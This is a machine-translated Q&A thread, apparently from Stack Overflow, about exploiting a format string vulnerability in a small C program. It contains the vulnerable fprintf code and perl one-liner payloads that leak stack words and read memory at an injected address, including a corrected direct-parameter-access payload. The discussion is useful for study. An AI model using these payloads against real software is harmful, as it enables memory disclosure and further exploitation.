2011-08-18 55 views
2

我正在做一些计算机安全研究,并且我正在尝试了解字符串格式漏洞。我运行包含此代码的程序:当我养活程序的参数“。%08X%08X%08X%08X%08X”(这被读入“数据”直接参数访问不起作用,在C中使用printf

char buf[1<<5]; 
strncpy(buf, data, sizeof(buf)); 
buf[sizeof(buf)-1]='\0'; 
fprintf(stderr, buf); 

变量),我得到的输出: 00000020.b7fd7560.08048b09.00000019.78383025

据我所知,每个十六进制数字弹出堆栈,“78383025”来自缓冲区本身。所以有4个字--16个字节 - 在我开始缓冲之前我必须弹出。

当我给出参数`perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`时,%s部分打印位于内存地址0xbffff92a的字符串。

现在,我想这样做,使用直接参数访问。如果我给程序提供参数`perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`,我应该期望程序执行与上面相同的操作。但是所有程序打印都是缓冲区开始处的四个字符。那么,什么产生?我使用DPA错误的语法? 我使用的是Ubuntu 9.04,32位的方式。

下面是一些编译代码,不能保证虽然产生相同的结果:

#include <stdio.h> 

void run(const char* data) { 
    char buf[1<<5]; 
    strncpy(buf, data, sizeof(buf)); 
    buf[sizeof(buf) - 1] = '\0'; 
    fprintf(stderr, buf); 
} 

int main(int argc, char* argv[]) { 
    run(argv[1]); 
    return 0; 
} 
+0

我假设你的意思'的perl -e '打印 “\ X 2 A \ xf9 \ XFF \ XBF%,16 $的”;''(注意'''字是'print'之前)?这是一个错字吗? –

+0

您能否发布重现问题的最小可编译代码?现在很难理解它。 –

+0

对不起,我在这个问题上犯了一个错字。 –

回答

4

%16$s指格式字符串之后的16个参数,并告诉printf把它解释为一个char*和显示它作为一个字符串。

你似乎在获取字符串之前用它作为跳过16个字节的手段,这不完全是一回事。

既然你想要的5个参数,尝试更多的东西像这样的格式字符串:由于您使用的perl -e 'print "...";'传递数据

"\x2a\xf9\xff\xbf%5$s" 

,你将不得不逃离$字符。 IE浏览器。 :

./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'` 
+0

我实际上已经尝试了从%1 $ s到%24 $ s的所有内容,而这些内容都没有从内存中打印出任何东西。 –

+0

但我认为你说得对,它应该是%5 $ s,因为如果你不给printf任何参数,它可能只是将栈上的数据作为单词来处理。所以第五个字是我的地址0xbffff92a。 –

+0

更新了我的答案,以反映您传递格式字符串的方式......您需要正确地转义'$'字符。 –